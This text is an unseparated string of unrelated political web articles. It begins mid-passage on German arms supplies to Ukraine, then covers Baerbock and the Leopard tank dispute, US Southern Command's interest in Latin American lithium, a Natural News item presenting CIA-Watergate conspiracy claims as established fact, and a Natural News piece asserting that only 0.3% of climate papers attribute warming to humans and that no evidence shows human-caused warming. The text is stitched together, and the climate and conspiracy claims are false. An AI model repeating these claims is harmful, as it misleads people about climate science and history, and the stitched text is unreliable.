Like Vad earlier this month, Kujat appeals to the Pentagon, US military officers, and US weapons makers to stop the escalation of the war on the Ukrainian battlefield as Russian strategic objectives harden, and the tactical defeat of US, German and NATO weapons becomes inevitable. According to the US Joint Chiefs of Staff, General Mark Milley, Kujat says, Ukraine has achieved what it could achieve militarily. More is not possible. That is why diplomatic efforts should be made now to achieve a negotiated peace. I share this view it is questionable whether the Ukrainian armed forces still have a sufficient number of suitable soldiers to be able to use these weapons systems in view of the large losses of recent months. In any case, [Ukrainian Chief of Staff General Valery] Zaluzhnys statement also explains why Western arms supplies do not enable Ukraine to achieve its military objectives, but only prolong the war. In addition, Russia could surpass the Western escalation at any time with its own. In the German discussion, these connections are not understood or ignored. The way in which some [sic] allies are trying to publicly urge the federal government to deliver Leopard 2 battle tanks also plays a role. This has not happened in NATO so far. It shows how much Germanys reputation in the alliance has suffered as a result of the weakening of the Bundeswehr and the commitment with which some allies are pursuing the goal of exposing Germany to Russia in particular.

Kujat implies that Chancellor Olaf Scholz is being secretly pressured by the US for reasons Kujat does not want to reveal now  except for his hint that the Americans and British aim to weaken Germany politically in Europe, and supplant the German arms industry with their own companies. The current efforts of the USA to induce the Europeans to supply further arms may have something to do with this situation. A distinction must be made between the publicly expressed reasons and the concrete decisions of the Federal Government. It would go too far [sic] to go into the whole spectrum of this discussion. However, I would like the Federal Government to receive really competent advice on this issue and  perhaps even more importantly  to be receptive and capable of judgement in accordance with the importance of this issue.

Kujat also omits to mention Baerbocks and the Green Partys alliance with Germanys aerospace and defence industry to secure Green votes in Kiel, Dusseldorf, Munich, and other city and state (Bundesland) electorates where the Greens aim to draw large vote swings from the Social Democratic Party (SDP) and the Christian Democratic Union (CDU).

Kiel is home to Krauss-Maffei Wegmann Maschinenbau, builder of the Leopard tank. In the Kiel parliamentary vote of 2021, the Greens gained almost 14% to score 28% of the total, while the SDP lost ground but held on to the seat with 29.5%. Just over two thousand votes separated them. The anti-war Left and Alliance for Germany (AfD) candidates lost ground in Kiel, ending up with 5% and just over 7,000 votes each. In Dusseldorf, headquarters for the Rheinmetall group, the Greens gained 13% in 2021 from the SDP and CDU, losing narrowly to the CDU. Similar vote switches to the Greens were recorded in Essen and Duisburg, where Thyssen-Krupp directs its military industrial complex.

Kujats links to these leading German arms makers are indicated by his chairmanship of the advisory council of the Network Centric Operations Industry Consortium, an association of US, German and other European weapons makers. For more on the prospects of the German corporations he and the consortium represent, read this.

Kujat is warning that defeat of the US and NATO by the Russian forces in the Ukraine puts the future profitability of this business in jeopardy. This is the current situation in which modern Western weapons systems are used in the Ukraine war. In December, Russia launched an extensive program to evaluate the technical and operational-tactical parameters of captured Western weapons, which should increase the effectiveness of its own operations and weapon effectiveness.
By Conor Gallagher

With outside pressure from the US and other European states growing, on Sunday German Chancellor Olaf Scholz and his new defense minister Boris Pistorius continued to slow-walk the decision on allowing German-made Leopard tanks to be sent to Ukraine.

But then foreign minister Annalena Baerbock during an interview with French television station LCI, said that if we were asked, we would not stand in the way. The interviewer double checked, to which Baerbock confidently replied, you understood me well.

Now Berlin is trying to walk back Baerbocks statement with government spokesman Steffen Hebestreit saying that any Polish request regarding the re-export of tanks would be subject to standard procedure and would go through Germanys Federal Security Council, a body that deals with arms exports.

By saying Germany wont block Poland from sending Leopard tanks, Baerbock is basically daring Scholz to overrule her. If he doesand blocks other countries from sending Leopardsit will show that Scholz is isolated not only from Ukraine & German allies, but in his own coalition. https://t.co/iYkJTRlk4r  Aaron Gasch Burnett (@AaronGBurnett) January 22, 2023

Poland is already following Baerbocks lead and seeking Berlins permission to send the German-made Leopard tanks to Ukraine.

We will seek this approval, Polands Prime Minister Mateusz Morawiecki told reporters on Monday. Even if we didnt get such an approval in the end, we will give our tanks to Ukraine anyway  within a small coalition of countries, even if Germany isnt in that coalition, Morawiecki said.

Baerbocks comments also opened up divisions in the German coalition:

That senior figures in the FDP are backing Baerbocks statement on not standing in the way of tank deliveries while Hofreiter for Greens and Strack-Zimmermann for the FDP are essentially coordinating statements should be a warning to the SPD leadership about coalition dynamics  Alexander Clarkson (@APHClarkson) January 23, 2023

Scholz is facing heavy pressure from the US and others to relent on the tanks:

According to Ukrainian Defense Ministry they have received assurances from 12 Countries that they will provide a total of 100 Leopard 2 Main Battle Tanks if or when Germany approves the transfer. pic.twitter.com/tWlBFsZFSr  OSINTdefender (@sentdefender) January 24, 2023

But the German government had wanted the US to send its Abram tanks before it sends any German ones. This led to a meltdown in the empires capital. The Washington Post editorial board, in a piece titled Germany is refusing to send tanks to Ukraine. Biden cannot let this stand, advised Biden to bring the vassal state to heel:

[Olaf] Scholz is sacrificing sound strategy on the altar of political calculation by wavering in the face of opposition from some political allies and a segment of the German electorate. It is a misjudgment that cannot stand.

Pesky German electorate. US Secretary of Defense Lloyd Austin apparently had a big blow up in Berlin:

Interesting report from SZ on the Leopards 2 debacle and the discussions between the US and Germany The refusal from Berlin led to violent reactions in Washington Lloyd Austin is said to have gotten into a heated argument with Scholzs chief of staffhttps://t.co/gm1qcU2af0 pic.twitter.com/P9qBwB9tNw  Faytuks News  (@Faytuks) January 22, 2023

Austin is one of the main opponents of sending Abrams to Ukraine. According to NBC News:

But both Defense Secretary Lloyd Austin and Chairman of the Joint Chiefs of Staff Gen. Mark Milley have recommended against sending M1 Abrams tanks to Ukraine, the three U.S. officials said. Milley and Austin have cited how long it takes to train personnel to operate the tanks and how difficult the tanks are to maintain. They also have argued they are not the right vehicles for the fight in Ukraine right now, according to the officials. One U.S. official said Austin has argued the training to operate and maintain the tanks would take months, and even though the Ukrainians have proven adept at learning many new platforms, he continues to resist sending the Abrams.

Poland already announced earlier this month that it was ready to deliver 14 Leopard tanks to Ukraine, but Warsaw was waiting for a clear statement from Berlin authorizing the transfer. Ukrainian Defense Minister Oleksii Reznikov also said Ukrainian forces were moving ahead with training in Poland to use Leopard 2 battle tanks.

Berlins hesitance is understandable. It has already sent advanced air-defense systems, anti-aircraft, multiple-rocket launchers, and plans to send dozens of Marder infantry fighting vehicles. But while the tanks likely wont make a big difference on the battlefield, there look to be other forces at work:

If Germany gives other countries the go-ahead to re-export Leopards to Ukraine, then they can later be replaced by American Abrams,that is, Germany will lose its current markets. Swiss newspaper Neue Zurcher Zeitung  AZ  (@AZgeopolitics) January 23, 2023

While the US was frustrated with Scholz dragging his feet, Washingtons woman in Berlin came through. Some background:

One year ago, Olaf Scholz was elected as the ninth German chancellor since World War II, and leads a traffic-light coalition of the Social Democratic Party (SPD), the Greens and the Free Democratic Party (FDP)  named after the three parties signature colors of red, green and yellow.

Scholz, from the SPD, hails from the politics of Wandel durch Handel (transformation through trade). It relied on cheap Russian gas imports and exports to its largest trading partner, China. Scholz started his term with attempts (if we take them at face value) to achieve a diplomatic solution with Russian President Vladimir Putin. He also defended the Nord Stream 2 pipeline until its demise.

The Greens, on the other hand, are the war-mongering party in Germany, who along with the Americans, have dragged Scholz further into the Ukraine morass. Vice Chancellor Robert Habeck from the Greens already said earlier this month that Germany should not stand in the way if Poland decides to send Leopard 2 battle tanks to Ukraine. Baerbock went a step further, which is nothing new for her.

She was the only chancellor candidate during the 2021 election who campaigned against the Nord Stream 2 pipeline, and shes consistently been one of the louder voices calling for Berlin to send more heavy weaponry to Kiev. Baerbock is also now calling for the establishment of a special tribunal to bring Putin and his government to trial over the war.

In an interview with Black Agenda Report back before the German election Diana Johnstone, who was press secretary of the Green Group in the European Parliament from 1989 to 1996, had this to say about Baerbock and the Greens:

Frankly, I hope they dont [win] because they are the most dangerous when it comes to foreign relations.  People who are really on the left in Germany consider [Baerbock] and the German Green Party extremely dangerous. Theyre most likely to stumble us into a major war between world powers.

Baerbock, whose introduction to transatlantic governance began with membership in the German Marshall Fund, the World Economic Forums Young Leaders Program and the Europe/Transatlantic Board of the Green Partys Heinrich Boll Foundation, delivered an August speech at the New School in New York that provides insight into her vision for Germany. She describes February 24 (the date Russia began its special military operation) as a date that changed the world and uses it to justify her plans for a rearmed Germany to take on a much more aggressive foreign policy as an equal partner to the US:

For a long time after 1989, security was not an issue of concern for many Europeans and particularly Germans  after the end of the Cold War, my country considered itself finally surrounded only by friends. But that perception has definitely changed. Children are asking their parents now at breakfast: Mom, what exactly is a nuclear weapon? Others are saying: I really like NATO. In the mid-1980s, when I was born, millions of Germans who are the grandparents of these children took to the streets to protest against armament. Now, these grandparents, mothers, fathers and their children are sitting at the kitchen table debating about armament, or they are marching in the streets in support of Ukraines freedom. And the same holds true for other European countries: Sweden and Finland are leaving behind long traditions of neutrality to join NATO. In Berlin, Russias war has prompted us in the new German Government to re-examine some long-held views on security  and to fundamentally change track in many fields. Thinking without a banister means for us: Germany has set up a special fund of 100 billion euro to strengthen our military. We have reversed a decades-old arms export paradigm, with Germany now being one of Ukraines strongest military and financial backers. And we have expanded our contributions to NATO: We are leading the NATO battle group in Lithuania and are assigning a brigade with up to 800 troops which can be deployed there if required. We are helping to secure the airspace over the Baltic States with our fighter jets  and to protect Slovakia with Patriot air defense. But we know that we cannot stop here: Our aim is to further strengthen the European pillar of NATO, because we want to have a leadership in European and US partnership. Europe matters  also security-wise, thats what we saw after February 24th. If that premise is to hold, we have to prove it and see it through in the long term. That means building a more strategic European Union  a Union able to approach the United States at eye level: in a partnership in leadership.

Baerbock is the frequent recipient of glowing media reviews in both the US and Germany like this from the Washington Post, Germanys Green foreign minister is taking the lead on Ukraine:

She did promise more weapons  which, she said, would help Ukraine free its citizens who are still suffering under the terror of Russian occupation. That was far more forceful than anything Chancellor Olaf Scholz has said in recent weeks. The war in Ukraine, it turns out, is Baerbocks fight too  for the chance to become the next German chancellor. The surprise visit to Kharkiv was Baerbocks fifth to Ukraine since she took office at the end of 2021. She traveled there for the first time in January 2022. Scholz, by contrast, needed five more months to make it to Kyiv, and only in response to considerable internal and external pressure. Baerbock has made her intentions clear. Where Scholz is all reluctance and realpolitik, she is positioning herself as a can-do politician with strong principles.

Still, its somewhat shocking to see her with the highest approval rating of any of Germanys main politicians, especially after she told German voters she doesnt care about the toll her support for Ukraine takes on their lives and the country, which sure enough, it is doing:

The conflict in Ukraine and its consequences will cost Germany 175 billion in 2023, that is, about 4.5% of GDP.- Institute of German Economics (IW)  AZ  (@AZgeopolitics) January 23, 2023

This also wouldnt be the first time that Baerbock undermined Scholz. Ahead of a November trip to China, which had suddenly become controversial in the West, Scholz received public advice from the China hawk Baerbock. Comparing China to Russia, she added that Germany should no longer be so fundamentally dependent on a country that does not share our values that we can be blackmailed in the end.

Then, as Scholz was en route to Beijing, Germanys foreign office released a photo op of a gathering of Baerbock and her G-7 counterparts. Baerbock sits at the head of the table next to US Secretary of State Anthony Blinken with Under Secretary of State Victoria F**k the EU Nuland behind them. According to former India diplomat M.K. Bhadrakumar:

Quintessentially, Baerbock has highlighted her discontent with Scholzs China visit by assembling around her the like-minded G7 counterparts. Even by norms of coalition politics, this is an excessive gesture. When a countrys top leader is on a visit abroad, a display of dissonance undercuts the diplomacy. Equally, Baerbocks G7 counterparts chose not to wait for Scholzs return home. Apparently, they have a closed mind and the tidings of Scholzs discussions in Beijing will not change that. First thing on Monday, Scholz should ask for Baerbecks resignation. Better still, [the] latter should submit her resignation.

Neither happened, and Scholz may pay the price. Despite her unsuccessful run in 2021, Baerbock still wants to be chancellor, an outcome the US would no doubt welcome. Elections are not scheduled until 2025, but with the traffic light coalition increasingly on thin ice, she might get her chance sooner rather than later.
In a lot of our countries in this region, [the PRC] is the number one trade partner, with the United States number two in most cases: General Laura Richardson, USSOUTHCOM.

As regular readers are by now probably aware, the Commander of US Southern Command (USSOUTHCOM), General Laura Richardson, has a rare talent for saying the quiet parts out loud. That talent was on full display in a recent interview with Washington-based think tank, the Atlantic Council last Thursday (Jan 19). In one 90-second clip (featured below) Richardson laid out in disarmingly frank terms why the US is showing a renewed interest in Latin America: the regions abundant natural resources.

Our Countries in Latin America

Those resources include rare earth elements, lithium, gold, oil, natural gas, light sweet crude (huge deposits of which have been found off the coast of Guyana), copper, abundant food crops, and fresh water. And the US government and military, and the corporations whose interests they serve, have their eyes on all of them. As the Argentinean journalist and news presenter Carlos Montero lamented in a tweet, it would be nice to live in a would where the US wasnt interested in Latin America for the riches it could plunder but to help it break free from being the worlds most unequal region.

Of even greater concern to the US is that many of Latin Americas resources are now being sold to its number-one adversary, the Peoples Republic of China (PRC). Its number-two adversary is, of course, Russia, with whom a number of LatAm countries have close military ties. As Richardson told the Atlantic Councils virtual audience (emphasis my own), in a lot of our countries in this region, [the PRC] is the number one trade partner, with the United States number two in most cases. She then clumsily corrected herself: Not in most cases, I would say in some cases.

Tellingly, she did not correct the Freudian slip, our. As I said, she has a gift of saying the quiet parts out loud.

Rare earth elements, lithium, oil, light sweet crude, copper, gold, the Amazon, and fresh water. This is what the United States wants to plunder from Latin America and the Caribbean. pic.twitter.com/Q9Rh5XP0jB  Kawsachun News (@KawsachunNews) January 21, 2023

The reality is that China is already South Americas biggest trading partner. The US still holds sway over Central America and is still the regions largest trading partner as a whole. But that is primarily due to its gigantic trade flows with Mexico, which account for 71% of all US-LatAm trade. As Reuters reported in June, if you take Mexico out of the equation, China has already overtaken the US as Latin Americas largest trading partner. Excluding Mexico, total trade flows  i.e., imports and exports  between China and Latin America reached $247 billion last year, far in excess of the US $173 billion.

The US is now in a desperate race to turn back the clock. To do so, it is rejigging the Monroe Doctrine, a 200-year old US foreign policy position that opposed European colonialism on the American continent. It held that any intervention in the political affairs of the Americas by foreign powers was a potentially hostile act against the United States. Now, it is applying that doctrine to China and Russia.

Gen Richardson detailed how Washington, together with US Southern Command, is actively negotiating the sale of lithium in the lithium triangle to US companies through its web of embassies, with the goal of box[ing] out out adversaries (clarifying comments in parenthesis my own):

Just yesterday we had a  I had a  zoom call with the US ambassadors from Argentina and Chile, and then also the strategy officer from (Pennsylvania-based Tesla lithium supplier) Livent and also the VP for global operations from Albermarle for lithium (the US largest provider of lithium for electric vehicle batteries) to talk about the lithium triangle in Argentina, Bolivia and Chile, and the companies and how theyre doing and what they see as challenges and things like that in the lithium business. And then the aggressiveness and coercion from the PRC. And so the ability to get those groups together to leverage whats really happening on the ground and, you know, how we can help and, you know, who else we can bring to the table to help us to figure the problems out and (here comes the crunch) box out our adversaries.

Each time Richardson uses the word we in the second paragraph, she is referring, presumably, to USSOUTHCOM, the command unit of the US Department of Defense that she heads, which is responsible for providing contingency planning, operations, and security cooperation for Central and South America, and the Caribbean. So, essentially the US military is trying to figure out ways of preventing the US biggest adversaries, China and Russia, from being able to purchase strategic resources in Latin America and the Caribbean.

It is not just the US that is taking a tougher stance on Chinese trade and investments in the so-called critical minerals sector, which generally includes aluminum, lithium, nickel, cobalt and rare earth elements. So, too, are fellow Five-Eye nations Canada, Australia and the UK. As readers may recall, in June last year the Biden administration signed, to minimal fanfare, a minerals security partnership (MSP) with some of its strategic partners, including the European Commission, Canada, Australia, Japan, the Republic of Korea and the UK.

In a press statement, the US Department of State said:

The goal of the MSP is to ensure that critical minerals are produced, processed, and recycled in a manner that supports the ability of countries to realise the full economic development benefit of their geological endowments.

As NC reader Sardonia put it sardonically, this is surely some of the most polite language ever heard from someone holding a gun to someone elses head as they demand the contents of their victims purse. The US describes the partnership as a coalition of countries that are committed to responsible critical mineral supply chains to support economic prosperity and climate objectives. In what is almost certainly a more fitting description, Reuters dubbed it a metallic NATO.

Unused Russian-Made Weapons for Ukraine

Washington is also working with countries in the region that have Russian military equipment to either donate it or switch it out for United States equipment.

Three Latin American countries  Venezuela, Cuba and Nicaragua  already have close military ties with Russia. Those ties are, if anything, getting closer. All three countries are currently the target of US sanctions. Another six countries in the region apparently have stocks of Russian weapons. Discussions with those six countries are in the works, said Richardson, adding that sanctions against Russia mean its allies in the region are having a hard time getting the spare parts [needed] to keep the weapons systems capable.

As I reported back in August 2022, Latin America is back on the grand chessboard as the race for strategic resources and influence intensifies in the new cold war. Days earlier, Vladimir Putin had offered Russias allies in Latin America, Asia and Africa advanced Russian weaponry  all in the name of safeguarding peace and security in the emerging multi-polar world.

Speaking at the opening ceremony of the International Military and Technical Forum 2022 and the International Army Games-2022, the Russian leader heaped praise on non-aligned countries for not kowtowing to the global hegemony and instead choosing to steer a more independent course of development:

We highly appreciate the fact that our country has many like-minded allies and partners on different continents. These are the states that do not succumb to the so-called hegemony. Their leaders show a real masculine character and do not bend.

Needless to say, Putins invitation did not go down well in Washington or Brussels. As I warned back in August, the US and the EU are beginning to ratchet their response to China and Russias growing influence in Latin America.

The fact that senior US military officials are pressuring LatAm countries to give up their Russian-made materiel could be construed as yet more evidence that the NATO alliance is more resource constrained than most Western media outlets will let on. According to VoA, other top U.S. officials have underscored the importance of supplying Russian-made equipment that is already familiar to Ukrainian troops, as it may not be possible to fully train Kyivs forces on the new Western systems in time to counter possible Russian offensives in the coming months.

LatAm countries with significant stockpiles of Russian-made military hardware include Peru, Mexico, Ecuador, Colombia and Argentina, according to Ryan Brobst, a research analyst at the Center on Military and Political Power at the Foundation for the Defense of Democracies (FDD). To what extent those countries will be willing to donate or switch out those stockpiles to the Ukrainian cause, no doubt under significant pressure from the US, remains to be seen.

Over the past eleven months, most countries in Latin America, including the two largest, Brazil and Mexico, have steadfastly refused to take any kind of active role in the Wests war against Russia. In late December, just before his recent inauguration, Brazilian President Luiz Inacio Lula da Silva met with representatives from Russia and Ukraine and called for an end to the war between the two countries.

Most governments in the region have also resolutely opposed US-EU sanctions against Moscow. Many are terrified, understandably, by the precedent the U.S., EU and friends have set by attempting to excise Russia from the global financial system.

Another Shot Across the Bow

The warnings and threats are not just coming from US Southern Command. A couple of weeks ago, Dr. Evan Ellis, a research professor of Latin American studies at the U.S. Army War College Strategic Studies Institute, published a paper in the Center of Strategic Studies of the Peruvian Army. Titled The Strategic Role of Latin America in a Global Conflict Over Taiwan, the paper explores the role Latin America might play as an object of Chinese military activities, in the context of a hypothetical conflict with the United States and allied Western powers over Taiwan, in 2027, triggered, of course, by an unprovoked Chinese invasion of the island state.

Ellis, like General Richardson, is at pains to stress that the US government considers any Chinese commercial or infrastructure project in Latin America as dual use. In other words, both Chinese infrastructure and commercial projects in the region could be used for military ends. In the projected global conflict China could use them as intermediate staging bases for attacks against the US supply of food and other critical minerals, or perhaps directly against the US homeland.

And here is the shot across the bow:

It is in the interest of political leaders and others in the region to consider how military interactions with the PLA, as well as commercial projects with PRC-based companies in strategic sectors such as ports, space and the digital domain, may indirectly contribute to the way the Chinese might look to exploit opportunities created by such projects.

Let us be clear: this is a threat, of the barely veiled variety, to all LatAm countries that have forged significant trade ties with China and are thinking of further strengthening those ties. But it remains to be seen just how those countries will respond.

One possible early indicator came yesterday from Argentinas president Alberto Fernandez, who is currently hosting the seventh summit the Community of Latin American and Caribbean (CELAC). Some heads of state in the region, including Mexicos Andres Manuel Lopez Obrador, have envisaged CELAC as a potential replacement for the US-dominated Organization of American States (OAS), which has played a part in recent US-sponsored soft coups. Fernandez himself has applied for Argentinean membership of the soon-to-be enlarged BRICS grouping.

Yesterday (Jan 23), he said he was confident that CELAC can help deepen links with China. He also lambasted the US for its constant demonization of China, wrongly attributing the start of US escalations with China to Trump when it was actually Obama who pivoted to Asia (h/t Louis Fyne):

Since Trump the United States has sponsored and encouraged the demonization of China, but I have never bought that idea. Argentina is a sovereign country and has the right to hold ties and relations with those it considers friends, and with those who offer the best opportunities to develop.

And this is arguably the US biggest problem. To borrow from Michael Hudson, its model of finance capitalism is struggling to compete with Chinas model of industrial capitalism, even in its own back yard. For the moment, China is handily winning the resource race in the region, thanks largely to its well-honed strategy of offering many of the perks of trade and investment with little in the way of conditions.

Whats more, its financial terms and conditions are generally less onerous  or at least have been until now. In her interview with the Atlantic Council, General Richardson said as much, admitting that when the US offers new infrastructure or equipment to LatAm governments, whether military or civilian, the invariable response is: what about the financing? Thats more important to me right now.

Which begs the question: what happens if the US is unable to box in China and Russia? Ill let Richardson answer that question (emphasis my own): in some cases our adversaries have a leg up. It requires us to be pretty innovative, pretty aggressive and responsive to what is happening. Given the US long history of interfering in its neighbors affairs while sowing discord, conflict and chaos across the region, this is a threat that should not be taken lightly.
(Natural News) Fox News anchor Tucker Carlson revealed that the Central Intelligence Agency (CIA), with the backing of the Deep State, was responsible for the downfall of former President Richard Nixon via the Watergate scandal.

The Tucker Carlson Tonight host began by pointing out that Nixon was the most popular president in American history. First elected in 1968, he won a second term four years later in 1972 by getting 17 million more votes  the largest popular vote margin on record  than his opponent, Democratic nominee George McGovern.

Less than two years later, he was gone. Nixon was kicked out of office and replaced by the only unelected president in American history. He was forced to resign and, in his place, an obedient servant of the federal agencies called Gerald Ford took over the White House.

According to Carlson, Nixon believes that elements in the federal bureaucracy were working to undermine the American system of government, and had been doing that for a long time.

The Fox News host recounted a June 23, 1972 meeting between Nixon and then-CIA Director Richard Helms that was recorded on tape. During the meeting, the president suggested that he knows who shot John  former President John F. Kennedy. Moreover, Nixon implied that the CIA was directly involved in Kennedys assassination.

Helms was silent throughout the meeting, which happened six days after burglars broke into the Watergate building on June 17, 1972. According to Carlson, four of the five burglars arrested after the break-in were working for the CIA. The aftermath of the event led to the Watergate scandal that forced Nixon to step down.

Carlson: Bob Woodward a Deep State agent

Carlson added that the Washington Post (WaPo), in particular its Associate Editor Bob Woodward, published many dishonest stories about the Watergate scandal. The first such story, which ran on June 19, 1972, was penned by Woodward  that time a reporter for the publication.

Who exactly was Bob Woodward? Well, he wasnt a journalist. Woodward had no background whatsoever in the news business, said the Fox News anchor. He continued that the WaPo associate editor was a naval officer at the Department of Defense prior to the scandal.

Woodwards main source for his series was an informant with the pseudonym Deep Throat  actually Mark Felt, the Federal Bureau of Investigation (FBI) deputy director at the time. According to Carlson, Felt ran the FBIs COINTELPRO program designed to secretly discredit political actors the federal agencies wanted to destroy, including Nixon. (Related: How the media secretly carries out assignments for the CIA.)

And at the same time, those agencies were also working to take down Nixons elected Vice President Spiro Agnew. In the fall of 1973, Agnew was indicted for tax evasion and forced to resign.

Once Nixon and Agnew were out of the way, Carlson said the Deep State then put in Ford, who at that time was a Republican congressman representing Michigan.

What was Fords qualification for the job? Well, he had served on the Warren Commission which absolved the CIA of responsibility for Kennedys murder, he remarked.

According to the Tucker Carlson Tonight host, Nixon was strong-armed by Congress Democrats to accept Ford. He quoted then-House Speaker Carl Albert (D-OK), who boasted: We gave Nixon no choice but Ford.

Those are the facts, not speculation. Most of it actually is on Wikipedia, but no mainstream news organization has ever told that story. Its so obvious, yet unintentionally ignored. As a result, permanent Washington remains in charge of our political system, Carlson said.

Unelected lifers in federal agencies make the biggest decisions in American government and crush anyone who tries to rein them in. In the process, our democracy becomes a joke.

Watch Tucker Carlson shares his insights on the Deep States takedown of former President Richard Nixon below.

This video is from the Prevent Global Genocide channel on Brighteon.com.

More related stories:

REAL.video debuting new documentary series: The Deep State Strikes Back  exposes Spygate like no other film.

JFK assassination expert drops major bombshell regarding CIA involvement and alleged shooter Lee Harvey Oswald.

Late Justice Antonin Scalia believed Obama was spying on SCOTUS; 44th prez 100 times worse than Nixon.

The Hagmann Report: Doug Hagmann and Steve Quayle talk about betrayal of America and its people.

Sources include:

TheGatewayPundit.com

Britannica.com

Brighteon.com
(Natural News) You have likely heard that 97% of scientists agree on human-driven climate change. The overwhelming majority of scientists take no view on the question of whether climate change is man-made, for it is beyond our present knowledge to answer.

(Article by Rhoda Wilson republished from Expose-News.com)

Only 0.3% of science papers state humans are the cause of climate change. And when surveyed, only 18% of scientists believed that a large amount  or all  of additional climate change could be averted.

There is no scientific evidence or method that can determine how much of temperature change since 1900 was caused by humans. We know that temperature has varied greatly over the millennia. We also know that for virtually all of that time, global warming and cooling were driven entirely by natural forces.

By Gregory Wrightstone, Executive Director CO 2 Coalition

You have likely heard that 97% of scientists agree on human-driven climate change. You may also have heard that those who dont buy into the climate-apocalypse mantra are science deniers. The truth is that a whole lot more than 3% of scientists are sceptical of the party line on climate. A whole lot more.

The many scientists, engineers and energy experts that comprise the CO2 Coalition are often asked something along the lines of: So you believe in climate change, then? Our answer? Yes, of course we do: it has been happening for hundreds of millions of years. It is important to ask the right questions. The question is not, Is climate change happening? The real question of serious importance is, Is climate change now driven primarily by human actions? That question should be followed up by is our changing climate beneficial or harmful to ecosystems and humanity?

There are some scientific truths that are quantifiable and easily proven, and with which, I am confident, at least 97% of scientists agree. Here are two:

Carbon dioxide concentration has been increasing in recent years. Temperatures, as measured by thermometers and satellites, have been generally increasing in fits and starts for more than 150 years.

What is impossible to quantify is the actual percentage of warming that is attributable to increased anthropogenic (human-caused) CO 2 . There is no scientific evidence or method that can determine how much of the warming weve had since 1900 that was directly caused by us.

We know that temperature has varied greatly over the millennia. We also know that for virtually all of that time, global warming and cooling were driven entirely by natural forces, which did not cease to operate at the beginning of the 20th century.

The claim that most modern warming is attributable to human activities is scientifically insupportable. The truth is that we do not know. We need to be able to separate what we do know from that which is only conjecture.

What is the basis for the 97% consensus notion? Is it true?

Hint: You cant spell consensus without con.

If, indeed, 97% of all scientists truly believed that human activities were causing the moderate warming that we have seen in the last 150 years, it would be reasonable for one to consider this when determining what to believe. One would be wrong, however.

Science, unlike religion, is not a belief system. Scientists, just like anyone else, will say that they believe things  whether they believe them or not  for social convenience, political expediency or financial profit. For this and other good reasons, science is not founded upon the beliefs of scientists. It is a disciplined method of inquiry, by which scientists apply pre-existing theory to observation and measurement, so as to develop or to reject a theory, so that they can unravel as clearly and as certainly as possible the distinction between what the Greek philosopher Anaximander called that which is and that which is not.

Abu Ali ibn al-Haytham, the natural philosopher of 11th-century Iraq who founded the scientific method in the East, once wrote:

The seeker after truth [his beautiful description of the scientist] does not place his faith in any mere consensus, however venerable or widespread. Instead, he subjects what he has learned of it to inquiry, inspection and investigation. The road to the truth is long and hard, but that is the road we must follow.

The long and hard road to scientific truth cannot be followed by the trivial expedient of a mere head-count among those who make their livings from government funding. Therefore, the mere fact that climate activists find themselves so often appealing to an imagined and (as we shall see) imaginary consensus is a red flag. They are far less sure of the supposed scientific truths to which they cling than they would like us to believe. Consensus, here, is a crutch for lame science.

What, then, is the origin of the 97% consensus notion? Is it backed up with research and data?

The earliest attempt to document a consensus on climate change was a 2004 paper cited by Al Gore in his allegedly non-fiction book, An Inconvenient Truth- Gore attended natural science class at Harvard, but got a D grade for it. The author of the cited paper, Naomi Oreskes, asserted that 75% of nearly 1,000 papers she had reviewed on the question of climate change agreed with the consensus proposition favoured by the Intergovernmental Panel on Climate Change (IPCC): Most of the observed warming over the last 50 years is likely to have been due to the increase in greenhouse gas concentrations. None, she maintained, dissented from this line of reasoning.

The Oreskes paper came to the attention of Klaus-Martin Schulte, an eminent London surgeon, who had become concerned with the adverse health effects of his patients from their belief in apocalyptic global warming.

Professor Schulte decided to update Oreskes work. However, he found that only 45% of several hundred papers endorsed the consensus position. He concluded: There appears to be little basis in the peer-reviewed scientific literature for the degree of alarm on the issue of climate change which is being expressed in the media and by politicians, now carried over into the medical world and experienced by patients.

The primary paper that is often trotted out in support of the notion of 97% consensus was written by John Cook and his merry band of climate extremists. Published in 2013, it is the most widely referenced work on the subject of climate consensus and has been downloaded more than 1.3 million times.

Cook runs a climate website that is a smorgasbord of climate fear rhetoric, specialising in attacks  often personal and spiteful in tone  on all who have proven effective in leading others to stray from the dogma of impending climate doom.

The project was self-described as a citizen science project by volunteers contributing to the website. The team consisted of 12 climate activists who did not leave their climate prejudices at home. These volunteers, many of whom had no training in the sciences, said they had reviewed abstracts from 11,944 peer-reviewed papers related to climate change or global warming, published over the 21 years 1991  2011, to assess the extent to which they supported the consensus view on climate change. As Cooks paper said:

We analysed a large sample of the scientific literature on global CC [climate change], published over a 21-year period, in order to determine the level of scientific consensus that human activity is very likely causing most of the current GW (anthropogenic global warming, or AGW).

The paper concluded:

Among abstracts that expressed a position on AGW [anthropogenic global warming], 97.1% endorsed the scientific consensus.  Among papers expressing a position on AGW, an overwhelming percentage (97.2% based on self-ratings, 97.1% based on abstract ratings) endorses the scientific consensus on AGW.

The paper asserted  falsely, as it turned out  that 97% of the papers the reviewers examined had explicitly endorsed the opinion that humans are causing the majority of the warming of the last 150 years.

When one looks at the data, one finds that 7,930 of the papers took no position at all on the subject and were arbitrarily excluded from the count on this ground. If we simply add back all of the papers reviewed, the 97% claimed by Cook and his co-authors falls to 32.6%.

A closer look at the paper reveals that the so-called 97% included three categories of endorsement of human-caused climate change (Figure 1). Only the first category amounted to an explicit statement that humans are the primary cause of recent warming. The second and third categories would include most sceptics of catastrophic anthropogenic warming, including the scientists of the CO 2 Coalition, who accept that increasing CO 2 is probably causing some, probably modest, amount of warming; an amount that is likely rendered insignificant by natural causes of warmer weather. Only by casting a wide net could Cook conclude that there is any type of consensus.

Figure 1  Categories of endorsement  Cook 2013

Agnotology is defined as the study of how ignorance arises via circulation of misinformation calculated to mislead. This is how David Legates and his co-authors (2015) describe the Cook paper and similar attempts falsely to promote the notion of broad scientific consensus surrounding the subject of a looming, man-made, climate apocalypse.

They reviewed the actual papers used by Cook and found that only 0.3% of the 11,944 abstracts and 1.6% of the smaller sample that excluded those papers expressing no opinion endorsed man-made global warming as they defined it. Remarkably, they found that Cook and his assistants had themselves marked only 64 papers  or 0.5% of the 11,944 they said they had reviewed  as explicitly stating that recent warming was mostly man-made (Figure 2). Yet they stated, both in the paper itself and subsequently, that they had found a 97% consensus explicitly stating that recent warming was mostly man-made.

Figure 2

Agnotology has the strong potential for misuse whereby a manufactured consensus view can be used to stifle discussion, debate, and critical thinking.  Legates 2013

It appears that Cook and his co-authors manipulated the data to present an altogether untrue narrative of overwhelming support for catastrophic human-caused warming.

